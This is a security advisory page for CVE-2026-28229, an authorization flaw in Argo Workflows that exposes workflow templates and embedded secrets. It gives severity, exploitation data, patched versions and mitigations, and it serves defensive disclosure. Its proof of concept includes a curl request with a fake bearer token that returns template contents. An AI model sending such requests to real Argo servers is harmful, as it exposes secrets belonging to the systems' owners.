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CVE-2026-28229 — argo-workflows

CRITICALFix: argoproj/argo-workflows@34afaf9

CVE-2026-28229 is a critical-severity (CVSS 9.8) CWE-863 vulnerability in github.com/argoproj/argo-workflows/v3. A fix is available for github.com/argoproj/argo-workflows/v3 — see the affected versions and patch details below.

Argo Workflows has unauthorized access to Argo Workflows Template

Also known asBIT-argo-workflows-2026-28229GHSA-56px-hm34-xqj5GO-2026-4678
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Nov 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-28229.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs52th percentile — riskier than 52% of all scored CVEsHighest risk
0.00%0.43%0.86%1.28%0.1%0.7%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

2 pkgs affected
🐹github.com/argoproj/argo-workflows/v3🐹github.com/argoproj/argo-workflows/v4

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.

Details

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72

Informers use the server’s rest config, so they read using server SA privileges.

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46

PoC

  1. Create template
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: leak-workflow-template
  namespace: argo
spec:
  templates:
  - name: make-secret
    resource:
      action: create
      manifest: |
        apiVersion: v1
        kind: Secret
        metadata:
          name: leaked-secret
        type: Opaque
        data:
          password: c3VwZXJzZWNyZXQ=

Then apply that with kubectl apply -f poc.yml 2. Query Argo Server with a fake token

Result:

> kubectl apply -f poc.yml
workflowtemplate.argoproj.io/leak-workflow-template created
> curl -sk -H "Authorization: Bearer nothing" \
    "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template"
{"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n  name: leaked-secret\\ntype: Opaque\\ndata:\\n  password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n  name: leaked-secret\ntype: Opaque\ndata:\n  password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}

Impact

Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/argoproj/argo-workflows/v3≥ 3.7.0&&< 3.7.113.7.11go get github.com/argoproj/argo-workflows/v3@v3.7.11
🐹Gogithub.com/argoproj/argo-workflows/v4all versions4.0.2go get github.com/argoproj/argo-workflows/v4@v4.0.2

Affected Products

1 product · 2 configurations
Application
argo workflowsargoproj
≥ 4.0.0 && < 4.0.2
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-workflows/v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/argoproj/argo-workflows/v3 to 3.7.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-28229 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

An Important flaw was found in Argo Workflows, as used in Red Hat OpenShift AI. This vulnerability allows an attacker to gain unauthorized access to Workflow Templates and Cluster Workflow Templates due to insufficient authorization checks. This could lead to the disclosure of sensitive information, including embedded…

ProductFixed inAdvisory
Red Hat OpenShift AI 2.25rhoai/odh-data-science-pipelines-argo-argoexec-rhel9:1776740558RHSA-2026:10184

Frequently Asked Questions

### Summary Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a `Authorization: Bearer nothing` token can leak sensitive template content, including embedded Secret manifests. ### Details https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78 https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72 Informers use the se
O3 Security · Impact-Aware SCA

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CVE-2026-28229: argo-workflows — Fixed in 3.7.11